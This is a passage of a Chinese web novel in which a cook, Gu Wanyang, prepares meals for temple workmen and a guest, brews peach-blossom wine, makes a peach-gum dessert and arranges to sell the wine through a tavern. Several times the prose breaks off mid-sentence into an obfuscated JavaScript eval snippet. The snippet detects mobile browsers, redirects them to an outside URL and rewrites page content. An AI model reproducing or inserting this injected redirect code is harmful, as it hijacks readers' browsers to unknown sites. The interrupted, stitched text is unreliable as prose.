顾宛央稍稍抬头，环顾了一圈膳堂，只见众人脸上都是满意之色，虽知道结果定会如此，但也免不了有一分的担心，万一他们真吃不惯那也是不好说。 顾宛央的视线顺带扫到了尹多的位置，只见他埋头苦吃，腮帮子塞得鼓鼓的，完全被眼前的饭菜所吸引，顾宛央不由嘴角往上翘，这人还真的是滑跪厉害，一点都不会跟自己的胃过不去。 等到工匠们都吃的差不多了，顾宛央也放下手中的碗筷，朗声问道：“各位，大家吃的怎么样？味道可还行？” “好吃！” “太美味了！” “是啊，我感觉还没吃够呢！” “顾姑娘，这倒是是什么肉做的，怎地如此的香呢？” 顾宛央见大家都一致好评，这才缓缓说道：“不瞒各位，这是用猪头肉做成的。” 一听到猪头肉，大伙都愣住了，还好工匠们都是穷苦人家出身，虽没吃过猪头肉但也没有那么的嫌弃，况且他们刚刚在吃到这么好吃的情况下，反应倒不是很激烈。 “居然是猪头肉？” “是啊，猪头肉也能做的这么好吃呢！” “没想到，没想到。” “顾姑娘怎么想到用猪头肉炒着吃啊?” 顾宛央见众人疑惑，开口问道：“各位，今天的菜量怎么样？” “今天肉特别多，吃的过瘾。” “是啊，平时吃不到这么多肉的。” 见大家一致肯定肉量大，顾宛央继续说道：“想必大伙也知道我们是有餐标的，为了让大家吃到更多的肉，所以想着买平时价格很便宜的猪头肉做来吃，大家中午要是没吃够，晚上还够吃一顿的，晚上继续吃。” “好啊，晚上又可以吃到这么多肉了，不错。” “是啊，都是肉，管他什么部位的。” “关键这个猪头肉比普通猪肉还好吃啊！” “对，又便宜又好吃，多亏了顾姑娘的好手艺了。” “多谢顾姑娘，为我们这些人考虑这么周到。” 在众人的赞同以及夸赞声中，顾宛央彻底放下心来，给小桃打了个招呼，就匆匆忙忙回小院，要给另一个雇主李瑾修做饭去了。 昨天买的羊肉还剩了不少，中午就可以做个快手菜--葱爆羊肉。 顾宛央加快脚步，一进院子便冲到小厨房忙活起来，还好这道菜不用费太多的时间，她临去公厨做饭之前，已经将米淘好在水里煮过一遍了，现在只要捞起来往蒸锅一放，等菜炒好时饭也就该蒸熟了。 羊肉切成均匀的薄片，放置碗中用料酒、酱油再加点胡椒粉腌制一会，乘这个功夫，顾宛央将大葱洗好斜切成小段，再将青红辣椒切成一样形状的小段，再切点姜丝和干辣椒，就可以准备开始炒了。 起锅烧油，油热之后把腌制好的羊肉放入锅中迅速滑炒，羊肉一变色后马上盛起备用。 接着锅中留下底油，把大葱、青红椒、干辣椒和姜丝放入锅中爆香后，再将羊肉倒入锅中一起翻炒，再倒入些许酱油，撒上白糖，翻炒均匀后就可以出锅了。 这时，蒸的米饭也好了，顾宛央盛了一大碗米饭，饭上面铺了满满一层葱爆羊肉，端出来走进西厢房。 因为说好了他们不进正房，所以他们吃饭一般都在西厢房吃，东西厢房有两间，里屋一间是卧房，外屋一间相当于客厅书房，也有桌子椅子，所以正好可以用来吃饭。 李瑾修是刚刚被顾宛央从厨房赶回到西厢房的，顾宛央嫌他在旁边碍事，他在西厢房， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853802|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心却飞到厨房去了，这香味，谁能受得了啊。 顾宛央端着个大碗走进来，李瑾修先是一愣，今天怎么只有一个碗。 “今天给你做了盖浇饭吃，你也尝尝膳堂工匠们的吃法吧。”顾宛央说道。 “盖浇饭是什么？”李瑾修马上迎了上去，看到了碗面上的羊肉，有些疑惑地问道。 “就是米饭在下面，菜盖在上面，这样吃味道可好了。”顾宛央将碗放下来认真地说道。 “哦？真的啊！”李瑾修听到味道可好了，顿时开心起来，又问道：“文庙的工匠们也是这样吃饭的？” “嗯，是的，米饭上面打上菜，菜的汤汁会渗入少许进米饭中，既方便又好吃！”顾宛央解释道，一看李瑾修应该就是没吃过盖浇饭的，大户人家的孩子，哪顿不是七八个菜的，用不着菜盖饭。 “这是炒的羊肉？”李瑾修赶紧坐下拿起筷子问道。 “嗯，葱爆羊肉，快吃吧。”顾宛央说道。 李瑾修立刻夹了一筷子羊肉放入口中，羊肉滑嫩鲜香，一点膻味都没有，跟昨天的炙烤羊肉相比，又是另一种美味。 李瑾修把羊肉拨开一角，吃了一口米饭，果然菜的汤汁有些渗透进了米饭中间，感觉不用就着菜，就能把这碗饭吃下去。 “嗯？你怎么不吃大葱呢？”顾宛央在一旁看着李瑾修只挑羊肉就着米饭吃，甚至青红椒他都吃，就是不碰白白软软的大葱。 “这大葱能吃吗？不是调料吗？”李瑾修疑惑地问道，他的印象中，大葱不是用来吃的，只是调味增香用。 “当然能吃，否则你说它为何菜名叫葱爆羊肉呢？”顾宛央说道。 李瑾修听了顾宛央的话，有些将信将疑地夹起一筷子大葱，又看了一眼顾宛央，虽然她做的食材都很特别，但真的很好吃，所以应该要相信她。 想到此，李瑾修毫不犹豫地将大葱吃了进去，这大葱一入口，立马就让他惊喜不已，果然宛央姑娘的话得听，大葱原来是如此鲜嫩多汁，由于与羊肉炒在一起，又融合了羊肉的鲜味，吃在嘴里简直妙不可言。 “怎么样？没骗你吧！”顾宛央见到李瑾修的表情就知道他爱吃，除了一点姜蒜葱都不能碰的人，应该大概率不会有人不爱吃这个葱爆羊肉里的葱吧！ 李瑾修猛点头，他已经不想开口说话了，他的眼里只有面前的美食，他发现把饭菜拌在一起吃，居然真的很好吃，从小他吃饭都是规规矩矩地，一口饭一口菜，什么能吃什么不能吃都有人约束，也只有去舅父家中，吃到舅母做的好吃的时候，才感觉没这么多束缚，所以他小时候最爱去舅父舅母家了。 一大碗饭和菜被李瑾修全部吃得干干净净，李瑾修捂着胃满足地叹息了一声，真好吃！ 等在一旁的顾宛央见他吃好，立马快速地将碗筷收走，这速度让李瑾修看得一愣一愣的。 顾宛央快速地把厨房收拾干净，喊上小桃，两人一人背了一个背篓，也不管李瑾修在身后追问她们去做什么，就出了门去。 29. 第 29 章 “宛央姐，我们去干嘛？”小桃背着背篓跟在顾宛央身侧问道。 “去山上采些桃花。”顾宛央答道，今天晚上工匠们的晚餐只要再把猪头肉炒一炒就好，正好有时间赶紧去采桃花酿酒，不然平时还真没空。 “采桃花？”小桃疑惑地问道，她转眼一想，开心地说道：“是不是要做好吃的？” 顾宛央笑了，她说道：“嗯，做桃花酿。” “是做酒啊。”小桃有些失望，原本以为有好吃的呢，酒她又不喝的。 “这是什么表情，桃花酿做好了可以换不少钱呢。”顾宛央用手指轻轻推了推小桃的脑袋，说道。 “能换钱？那也行啊！”小桃是小孩子脾性，一会不开心一会又开心了。 如今正值桃花盛开的季节，漫山遍野的桃花，就好像一片粉色的海洋，桃花的功效很多，可以做食材也可以入药，所以采集桃花的人还不少，不过桃树多也不会造成哄抢。 顾宛央也想过做点桃花糕、桃花饼之类的拿去卖，但她现在没有那么多的时间，每天需要采集桃花和做桃花点心也是很费时间的，她现在等于打了三份工，在现代可称之为牛马了，所以就放弃了这个想法。 顾宛央带着小桃找到一片没人的区域，给了小桃一双自制纱布手套，自己也戴了起来，开始收集桃花。 新鲜的花瓣让人看上去就很舒服，摸上去柔柔软软的，闻上去一股清香味，顾宛央采着采着，发现树上还有不少桃胶，于是也摘了一些下来。 “咦，宛央姐，这个一块一块是啥东西？”小桃见顾宛央手上的桃胶，不由地问道。 “这是桃胶，采点回去给你做好吃的。”顾宛央笑道，刚刚小桃的失落她看在眼里，想着做点好吃的犒劳她辛苦来帮着采桃花。 “太好了！宛央姐真好！你比我妈都对我好呢！”小桃一听有好吃的，顿时拍手叫起好来。 “桂花婶听到要气死了，你赶紧采桃花吧，别嘴贫了。”顾宛央说道。 两人说说笑笑的把两大背篓都装满了，顾宛央一看得了，这能酿好多坛桃花酿了，于是收工回文庙开始酿酒去。 两人回来路过市集，顾宛央在酒肆买了酒曲、糯米、坛子，让老板一起送货到文庙去，桃花季节不长，但桃花酿可以长时间存放，就算李瑾修不喜欢的话，自己也可以喝，今天有时间就多做一些，等文庙的工做完，估计桃花就过季了。 “看姑娘买这些东西，是会自己酿酒？”酒肆的老板便让伙计准备东西，边问道。 “是，桃花开得正好，便采了些打算做桃花酿。”顾宛央客气地答道。 “哦？花酿酒倒是有点诗意，只是爱喝酒的人未必看得上这桃花酿啊！”酒肆老板是有些瞧不上花果酿的酒。 顾宛央听了这话，环顾了一下酒肆内的环境，虽然现在还不是用餐喝酒的时间，只见三三两两的还是有几桌客人在的。 “老板言之有理，可来酒肆的客人都得是要爱喝烈酒的吗？”顾宛央说道。 “此话怎讲？”酒肆老板问道。 “我看酒肆的客人都确实是爱喝酒的，但若是酒肆有像桃花酿这样柔和甜口的酒，那说不定会有另一批喜欢的客人来呢！”顾宛央说道，她也就是不服酒肆老板的说辞，所以就随口一说，不过这世道既然有喜欢烈酒的客人，那必有像她这样喜欢甜口的客人，哦对，还有李瑾修不也是喜欢花酿酒的吗，还想得不行呢。 酒肆老板闻言一愣，顾宛央的随口之语，倒是让他思考了起来。 “老板，我们先告辞了。”顾宛央怼虽然要怼的，但客气还是客气的，走的时候打了声招呼。 “姑娘且慢，慢些走，有件事情需要跟你商量。”酒肆老板正在思考刚刚顾宛央的话呢，见得顾宛央要离开，马上开口阻止。 “老板还有何事，货款刚刚已经付清了，只需店里的伙计跟我们一起送到文庙即可。”顾宛央疑惑地停下来问道。 “不是货款的事情。”酒肆老板摆摆手，接着说道：“姑娘做这桃花酿需多长时间？” “几日便可成。”顾宛央虽不知酒肆老板想干嘛，但还是想了想回答了问题。 “姑娘若是做成了桃花酿，可愿拿到酒肆来售卖？”酒肆老板试探地问道。 嗯？这个结果顾宛央倒是没想到，她只是想酿了卖给李瑾修，毕竟他那里还有一百多两银子呢，不想办法赚过来她不安心。 “这？”顾宛央犹豫了一下，问道：“老板不担心我酿的桃花酿不好喝？” “自然是担心的，所以才是让你把酿好的桃花酿拿来酒肆寄售，若是酿的好自然有人买，我们一起分成，若是酿的不好，卖不出去，那姑娘可以来取回去自己喝。”酒肆老板想清楚了合作模式，说起话来头头是道。 果然是无奸不商！顾宛央心中暗自腹诽，这是一点都不担风险啊。不过，顾宛央倒是不介意这么合作，她可是对自己厨艺很有信心的，只是不了解这里的客人喜欢甜口酒的人多不多，好不好卖而已。 见顾宛央犹豫，酒肆老板又补充道：“姑娘刚才说的话，我仔细思考了一番，确实有点道理，所以我想验证一下，不知道姑娘想不想验证呢。” 死老头，不要用话来激将我，顾宛央暗想，激将的话对她一点用都没有，但如果能挣钱，那就很有用了。 “好，那就这么说定了，等桃花酿一酿好，我便送几坛过来寄售。”顾宛央说道，挣钱不易，什么机会都得试试不是。 酒肆老板满意地捋了捋自己的胡子，以为自己的激将法起了作用，心想小姑娘到底气盛经不起激将，这个办法只有利而没有害，他进其他的酒都是要付钱现买的，现在这个桃花酿一文钱都不用花，卖得好了可以挣钱，卖的不好自己也不亏钱，也只有这样的小姑娘才会答应合作吧，那些酒作坊是肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安抚完老板李瑾修的情绪，顾宛央开始忙活起来，她先将糯米仔细地淘洗干净，然后用清水浸泡起来。 然后开始挑选桃花花瓣，顾宛央打算要做出品相极好的桃花酿来，那必须选用最漂亮的桃花花瓣，有一点点瑕疵或者疤痕的都不能要，这道工序是个细致活。 好在有小桃帮忙，两人低着头干了大半个时辰，终于将两背篓的桃花花瓣挑选干净，然后再仔细地清洗这些花瓣，花瓣柔嫩不能用力，只能轻轻地搓洗，不能把花瓣弄皱或者弄破了。 等到花瓣全都清洗干净，需要把它们放在竹盘子上晾干至没有一丝水分，同时把酒坛子也要仔仔细细清洗一遍晾干，等到这些工序全部做完，也是时候去公厨做饭了，不过糯米还需浸泡，等做完晚饭回来，晚上继续酿酒时间倒是正正好。 在李瑾修的“晚上早些回来”的唠叨下，顾宛央和小桃走出了小院门。 30. 第 30 章 晚上，随便做了道小炒菜给李瑾修吃过后，顾宛央便开始继续酿酒，李瑾修对于晚餐的随意一点意见都没有，不仅仅是因为顾宛央做什么菜都好吃，更重要的是晚上顾宛央要做桃花酿。 糯米已经泡好了，将糯米放置蒸锅的蒸屉中，平铺后在糯米中间戳几个洞，蒸熟的会更快，也会更均匀，然后烧旺火开始蒸。 等到糯米蒸了一刻钟的时间后，再将晾干的桃花花瓣倒进去一起蒸，大约一刻钟后，便可以出锅了，蒸出来的糯米透而不烂，火候刚刚好。 将糯米桃花倒入一个大盆中，加入凉透的开水并且不停地搅拌来给糯米桃花降温，等到糯米桃花温度降下来后，再撒上酒曲，用筷子搅拌均匀后，便可以装入酒坛中发酵了。 装入酒坛的糯米桃花要压紧实，中间用擀面杖戳一个洞用来出酒，再将酒坛的盖子盖好，放置在一旁，静待几日后便可制成香甜可口的桃花酿了。 在等着出酒的这几日，李瑾修每日必得去看这些个酒坛子好几遍，就像他小时候天天磨着大人带自己去舅父家，看那几坛子菊花酿一样，顾宛央看在眼里却不知他的心思，心想这人是真爱这种酒啊！ 桃花酿自会发酵，等待出酒的那一日，刚采回来的桃胶却是得及时处理制成美味。桃胶又被成为桃花泪，这名字的确是让人遐想不已，但其实它就是从桃树中分泌出来的树脂，在阳光和雨水的作用下变成浅褐色的胶状物，具有药用和食用的营养价值，它的形状犹如泪滴，故也称为桃花泪。 顾宛央抽了个下午的空，将摘回来的桃胶细细地清洗干净，把桃胶先浸泡在水中撒入些许的盐，将脏东西和杂质都泡出来，接着轻柔地搓洗干净。 此时的桃胶虽然洗掉了一部分杂质，但仍有一些杂质是包裹在桃胶里面的，这是桃胶形成的过程中，融合进去的杂质。 顾宛央继续用清水把桃胶泡软，然后拿了一把剪刀开始将包裹在桃胶里面的杂质给剪掉。 小桃见状，也拿了把剪刀过来一起帮忙，李瑾修也没闲着，没有多余的剪刀了，他就坐在一边把干净清透的桃胶给挑出来，有人帮忙一起就快了不少。 顾宛央看着专心清理桃胶的小桃和李瑾修，感叹吃货的力量是巨大的！像李瑾修这样的富家子弟，恐怕这辈子没有自己动手干过活吧，只因刚刚她叹了一句下午怕是来不及做好这甜品了，不仅小桃撸袖子干起来了，连李瑾修也急的找凳子坐旁边帮忙。 银耳已经提前泡发好了，等桃胶一处理完，顾宛央就将两种食材放入锅中，加入清水，再扔几块冰糖进去，吩咐小桃先烧旺火，煮开后再转成小火，慢慢炖煮。 锅中的银耳桃胶咕嘟咕嘟慢慢熬煮着，顾宛央伸了伸胳膊转了转腰，这桃胶处理起来可真不容易呢。 小桃守着灶火不肯出来，李瑾修也搬个凳子坐在厨房门口，眼巴巴地瞧着那口大锅。 顾宛央管不了他们，走到院子中间，开始锻炼身体做拉伸，忍不住打了几拳出去。 “咦？宛央姑娘，你这是什么拳法？”李瑾修的声音突然想起。 顾宛央一听，心想这人不是在盯着灶台吗，怎么关注起院子里的自己了。 “不是什么拳法，这是我跟家里那边人学的，说是可以释放压力，又可以强身健体用来防身。”顾宛央当然不会跟他讲这是拳击，否则又要解释一大堆，可能他还明白不了。她在现代学的拳击，也确实是家里那边学的，而且她学拳击也就是为了防身和释放压力的。 “喔，原来是这样，我看你出拳相当有章法又有力，倒是有很大的攻击性。”李瑾修若有所思地说道。 “是吗？不攻击别人，只是防身健体而已。”顾宛央有些心虚地答道。 “是的。”李瑾修很认真地说道：“宛央姑娘你再打一遍，我再看看。” “啊？”顾宛央愣道。 “不如你教我刚刚那几招吧。”李瑾修站了起来，眼神有些热切。 “不好吧。”顾宛央拒绝道。 “我可以付酬劳的。”李瑾修补充道，他算是看出来了，这小女子一心想挣钱的，不过他也能理解，流民之苦他这次出行算是深切体会到了。 一听这话，顾宛央犹豫起来，能赚钱的事她怎么能放过，她想了想开口说道：“我可以教你，但不能保证什么，比如你说的攻击别人，不保证你能打赢！而且不建议你去打架！” 李瑾修笑了，说道：“放心，你只用教，其他一概不用负责。” 顾宛央点点头说道：“那行！只是你这身体还没恢复，这怎么学呢？” “无妨，你教就是了，我会记住的。”李瑾修轻松地说道。 顾宛央疑惑地看了他好几眼，这么自负，不用跟着练吗！不过，他说她只管教就行，那她就不管那么多了。 顾宛央把上一世所学的拳击知识都回忆了一遍，开始了她的拳击教学，她是做梦也没想到，有一天自己也会教人，而且是在这个不知拳击为何物的年代！ “宛央姐，宛央姐，你说的熬煮的时间到了，你快来看看呀，好了没，可以出锅了吗？”厨房里传来小桃殷切的呼喊。 正教的兴头上的顾宛央不得不放下认真学习的李瑾修，快步走进了厨房。 而刚刚还专注于学习的李瑾修，眼神立刻也跟着转进了厨房。 锅中的桃胶银耳已经炖的软烂，中间放进去的红枣和枸杞也已差不多了，晶莹剔透的羹汤中，红色的枣子和枸杞，浅褐色的桃胶、透明的银耳，看上去分外的诱人。 “可以出锅。”顾宛央说道。 小桃一听到顾宛央的话，立马灭了灶火，将桃胶银耳盛了出来，再分别盛出来三小碗，分给自己、顾宛央和李瑾修。 刚刚打完拳的顾宛央身子微微冒汗，正是口干舌燥想要补充水分的时候，这时候一碗水灵灵的桃胶银耳摆到自己面前，她忍不住细细吹了起来，刚出锅太烫，吃太烫的东西对食道是个灾难，所以再渴再饿也要吹凉了再吃。 李瑾修端着碗也是优雅地轻轻吹着，小桃就不管这么多了，她虽然也怕烫，但她用勺子使劲地搅拌着碗中的汤羹，这样凉下来的速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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转念一想，可惜怎么二人就成了流民了，不过富贵之家家道中落也是常事，幸好两人可以互相扶持。 顾宛央不知道徐工师心中已经转了八百个弯了，吩咐小桃道：“小桃，给徐工师盛一碗甜羹来。” 小桃应声而去，李瑾修拱手行礼问徐工师好，徐工师笑呵呵地摆手让他免礼。 “瑾修兄弟是如何受的伤？”徐工师坐下来闲聊道。 “上山打猎，不小心从山坡掉了下来。”李瑾修答道。 “噢哟，这可真是飞来横祸，现在恢复的怎么样了？看你气色红润，顾姑娘应是照顾的不错。”徐工师说道。 “是，宛央姑......姐，确实费劲心力照顾，现在比刚刚受伤时候好多了。”李瑾修那声“姑娘”在嘴里打了个转，及时收住喊出了个“姐”字，说完这句话，就感觉到顾宛央的目光刀了过来。 好在李瑾修切换的快，徐工师并没太在意他的断口，再加上小桃麻利地把甜羹盛了过来，徐工师的注意力一下子就被这碗颜色好看、看着诱人的甜羹吸引过去了。 31. 第 31 章 “银耳羹？”徐工师脱口而出。 “正是。”顾宛央笑着答道，小桃来的太及时，转移了徐工师的注意力。 徐工师接过小桃递过来的碗，用勺子舀了几下，好奇地指着碗中问道：“这浅褐色的东西为何物？” “此物名为桃胶，是桃花树上摘下来的树脂。”顾宛央解释道，原来这个年代还没有开始吃此物。 “哦？这也能吃？”徐工师大为惊讶，随即忍不住舀了一口送进嘴里。 此时的甜羹已经温度适宜了，这一口甜羹把徐工师给征服了，只见他眯起双眼享受着口中的清甜，还不停地微微点头，他平日里不太吃这些甜羹的，但今天这碗桃胶做的银耳羹却是让他还想再吃一碗。 “太美味了，醇香浓郁、口感顺滑，这比普通银耳羹好吃百倍。”徐工师一口接着一口把甜羹消灭后，不由发出一声感叹。 “徐工师过奖了。”顾宛央微笑着接受了徐工师的赞美。 “咦，这甜羹名叫什么？”徐工师回味了一番，转念问道。 叫什么？不就是桃胶银耳羹吗，顾宛央脑子里转了几圈，但这名字好像叫出来有点普通，于是她想了想，吐出几个字：“银耳桃花泪。” “银耳桃花泪！”徐工师听到这个名字，口中重复了一遍，表情慢慢变得欣喜，又重复道：“银耳桃花泪！” “这名字妙啊！”徐工师一拍双手说道：“是顾姑娘起的吗？” “是啊。”顾宛央没好意思说是刚起的。 徐工师看着桌上顾宛央那碗没来得及吃的甜羹，说道：“这桃胶形似眼泪，居然能被姑娘用作甜羹之名，姑娘真是心思细腻、聪慧过人。” 饶是顾宛央脸皮再厚，也被徐工师夸得有些许脸红起来，既然徐工师那么会夸，那顾宛央也是个识礼数的，她开口说道：“徐工师，若是喜欢这道甜羹，我让小桃用食盒装上几碗，您带回家给家人食用。” “那就多谢顾姑娘，恭敬不如从命了。”徐工师听了顾宛央的话，立马答应下来，正好带回家给夫人尝尝。 “顾姑娘，你不是早上会摆摊吗，有没有想过卖这款银耳桃花泪呢？若是有卖，我定吩咐家人去买。”徐工师问道。 “没有呢，这甜羹做起来麻烦，最近要忙文庙的公厨，早上卖的都是简单的早点。”顾宛央答道，转念一想又道:“不过，或许等以后，等我能盘下来一个小铺子，应该可以。” “哦？姑娘有开小食肆的想法？”徐工师有些意外，这小姑娘还挺有想法。 “是呢，我也没什么一技之长，不能服兵役也做不了工役，接绣活得靠人家给活，好歹有点厨艺傍身，想靠着安身立命。”顾宛央坦然地说道。 徐工师从一开始对身为流民的顾宛央有那么一丁点看不上，到现在完全被顾宛央积极的想法和状态所打动，若是每个流民都能像她那样努力靠着自己的双手生活，朝廷应该会减轻很大的压力吧。 “顾姑娘，你的想法真是太好了，今后若是开铺子遇到什么难处，可以来府衙找我，像那种要重修铺子重新改造铺子这种事情，我可以帮你找合适的工匠。”徐工师说道。 “那如此，宛央先谢过徐工师了。”顾宛央郑重地给徐工师行了一礼，今后的路还长肯定也很艰难，少不得需要人帮忙。 徐工师虚扶了一把，拎着小桃给准备的食盒离开了小院。 “宛央姐，我们什么时候开小食肆呀？”小桃双手托腮，充满向往地问道。 “是啊，宛央，我们什么时候开小食肆？”李瑾修眼中也有向往，若能开起来，那他不就能正大光明地到她食肆吃饭了嘛！也不用怕她赶走自己了。 “是我开，我开，不是我们！”顾宛央纠正李瑾修的话语，突然瞥见小桃脸上有失落之色，立马补充道：“小桃是我徒弟，帮我一起。” 小桃圆圆的脸上，立马浮现出了笑容，她就知道，宛央姐不会抛下她的。 李瑾修也不多争辩，反正顾宛央开了就行。 “瑾修哥，不能喊宛央，喊姐！”小桃高兴了后，开始纠正李瑾修的称呼了。 “我不，就叫宛央，不能叫宛央姑娘了，等有人在的时候，我再叫宛央姐吧，省的叫错了。”这是李瑾修最大限度的让步了。 顾宛央摆摆手让他俩别争了，这不重要，她现在满脑子都是开个小食肆，如果真的要开个小食肆了，还是得加油努力攒钱呀！ 想到这，顾宛央转向李瑾修，笑眯眯地问道：“李老板，你明天想吃什么好吃的？可以点菜哦！” 李瑾修莫名打了个寒战，怎么觉得顾宛央笑的有些吓人呢，他仔细地瞧了瞧顾宛央的脸，嗯，唇红齿白、眉清目秀，这么好看的一张脸怎么就是一种有诈的感觉呢？ “全凭宛央姐做主，我没有想法，没有，一点都没有，你做啥我吃啥。”李瑾修立刻表态保命。 顾宛央见问不出什么来，也就放弃了，既然这样，那就做点贵菜给他吃吧，越贵的菜可以赚的越多，就这么定了！ 在李瑾修不耐心并且焦躁地等待下，厨房里的桃花酿终于可以开坛了！ 在一个阳光晴好、微风拂面的下午，顾宛央带着李瑾修和小桃，将封了好几日的桃花酿搬了出来，酒坛子在院子的石桌上摆了一长溜，是检验桃花酿到底做的如何的时候了。 李瑾修也扔掉了碍事的棍子，他也不装伤势还没好了，看她刚刚根本不在意自己已经能一手拎一个酒坛子的样子，那就说明就算自己伤好了，顾宛央也不会赶自己走了，毕竟她要赚钱的嘛。 李瑾修满是期待地看着顾宛央将第一坛酒的封贴揭开，一开盖就闻到醇香浓郁的味道，他的眼睛一亮，就是这个味道，跟舅母的菊花酿香气类似，只不过是因不同的鲜花酿制，所以这个酒坛散发出来的是桃花的香气。 顾宛央用酒斗将坛内所出酒水盛出，就听得小桃一声惊叹：“这酒水的颜色居然是粉色的，我还是第一次见到。” 盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870812|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出的酒水呈嫩粉色，就跟桃花的颜色一模一样，看着就让人心生欢喜。 顾宛央将盛出的桃花酿，继续用纱布过滤几遍，直至酒色清亮透彻没有丝毫杂质，这才作罢。 “来，先尝尝看是不是你想要的味道。”顾宛央将桃花酿倒了两杯出来，一杯递给李瑾修。 李瑾修接过酒杯，先是深深闻了一下，而后仔细观察了酒的颜色，接着仰头一饮而尽，入口香甜、酒味浓郁但却不辣喉咙，酒虽下肚但口中却仍旧醇香。 “好酒！好酒！”李瑾修不由地脱口而出。 顾宛央见李瑾修爱喝，也笑着轻抿了一口，清香可口，甜味适中，是自己爱喝的这类酒，这桃花酿做的很成功。 “宛央姐，宛央姐，给我也尝尝，给我也尝尝。”小桃见两人一杯一杯地喝了起来，虽然她从未喝过酒也不喜欢，但闻着这味道怪香甜的，肯定是好喝的，所以急的她围着他们转了几圈。 “你还小，现在不能喝酒。”顾宛央不为所动。 “我不小了，我已经十五岁了！”小桃抗议道。 “等你满十八岁了再喝吧！”顾宛央说道。 “宛央，为什么要等小桃满十八岁了才能喝酒？现在她为什么不能喝呢？”李瑾修放下杯子，有些奇怪地问道，他比小桃还小的时候就已经开始喝舅母酿的菊花酿了。 额......顾宛央反应过来，这个年代十五岁就及笄成年了，不是十八岁！而且这个年代也没有未成年人不得喝酒的规定。 “就是就是，为啥呀。”小桃不满地说道。 “算了，给你尝一口，不能多喝。”顾宛央给小桃倒了小半杯说道，这酒度数不高，喝一点没事。 小桃见有的喝了，也不计较喝多少了，忙端起酒杯跟李瑾修一样一饮而尽。 顾宛央伸手却阻止不及，眼看着她把杯子里的酒全部喝完。 小桃咂咂嘴，回味着嘴里的甘甜，意犹未尽地说道：“好喝诶，宛央姐再给我倒一点。” “酒不能再喝了，等给酒肆送完酒，我给你做个酒酿甜品吃。”顾宛央把桃花酿收了起来，出了酒以后剩下的酒酿，可以做成各种点心小食来吃的。 酿出来的桃花酿可以给酒肆送去寄售，剩下的桃花酒酿可以给工匠们做早点，前几日她已经请示过徐工师，她可否收取酒酿的食材费用，徐工师已经同意她的想法，说是反正在外采购也要花钱的，只要价格合理、做出来的食物味道可口，那就没问题，所以顾宛央做这个桃花酿正好一点都不会浪费。 小桃听到有酒酿甜品吃，欢喜地直拍手，她最爱甜食了，每次吃着甜甜的东西心里就格外的幸福，所以她也就不再缠着顾宛央给她酒喝了。 顾宛央把所有的酒坛里的酒水都提取出来，整整有八坛桃花酿，在李瑾修强烈要求下，顾宛央只得拿出四坛送去寄售，留了四坛给李瑾修。 顾宛央和小桃将四坛桃花酿装上小推车，两人出了院子，给酒肆送酒去了。 32. 第 32 章 酒肆老板见到顾宛央推着酒坛过来，赶忙迎了出来说道：“我还以为你不来了呢。” “怎么会，说好的事情，只要不是酿酒失败，我一定会赴约的。”顾宛央笑道。 “这么说，顾姑娘的桃花酿做成了？”酒肆老板眼神在推车上的酒坛掠过。 “是的，非但做成了，而且品相口味均是一流。”顾宛央答道。 “那敢情好。”酒肆老板大喜，转身招呼伙计把小推车上的四坛酒搬到了铺子里面。 “那我们先回了，等老板的好消息。”顾宛央见货已送到，便急着要回去准备明天早上用的小圆子，做个酒酿圆子给工匠们吃。 “行，顶多一二日便可知晓能否售卖得出去，回头我喊伙计去找你。”酒肆老板一口应下来。 顾宛央返回的路上顺便买了糯米粉，再思考了片刻，又买了一只小公鸡，既然有了酒，那晚上做个下酒菜给李瑾修吃吧。 一回到小院，顾宛央就让小桃把小公鸡处理干净剁成小块，留着晚上爆炒，她自己就开始抓紧时间做小圆子。 顾宛央把买来的糯米粉全都倒入大盆中，一边少量加水一边揉捏糯米粉，直至盆中的糯米粉完全融合，变成了一个大团子。 顾宛央将大团子分成数个小团子，然后揉搓成长条子，再切成一个个的小剂子，接下来把小剂子揉搓成小圆子，不一会的工夫，一大盆小圆子便做好了。 小小的圆子小巧玲珑，个个都是滴溜溜的圆，顾宛央刚刚答应小桃要给她做酒酿吃，也想先试做一下，明天早上给工匠们做的时候能从容些。 起锅烧清水，等水开之后下入小圆子，煮个几分钟后小圆子就浮了起来，就可以捞出煮好的小圆子放入凉水中浸泡，另起一锅清水加入桃花酒酿一起煮开，把浸泡过的小圆子放入其中，再加入枸杞和些许冰糖，一起煮开后就可以出锅了。 这样煮出来的酒酿小圆子，汤汁清透，不会浑浊，红色的枸杞点缀在白色的小圆子和酒酿之间，颜色煞是好看。 小桃心满意足地捧着一碗酒酿小圆子，说道：“宛央姐，这甜品真好看，我都不舍得吃了。” 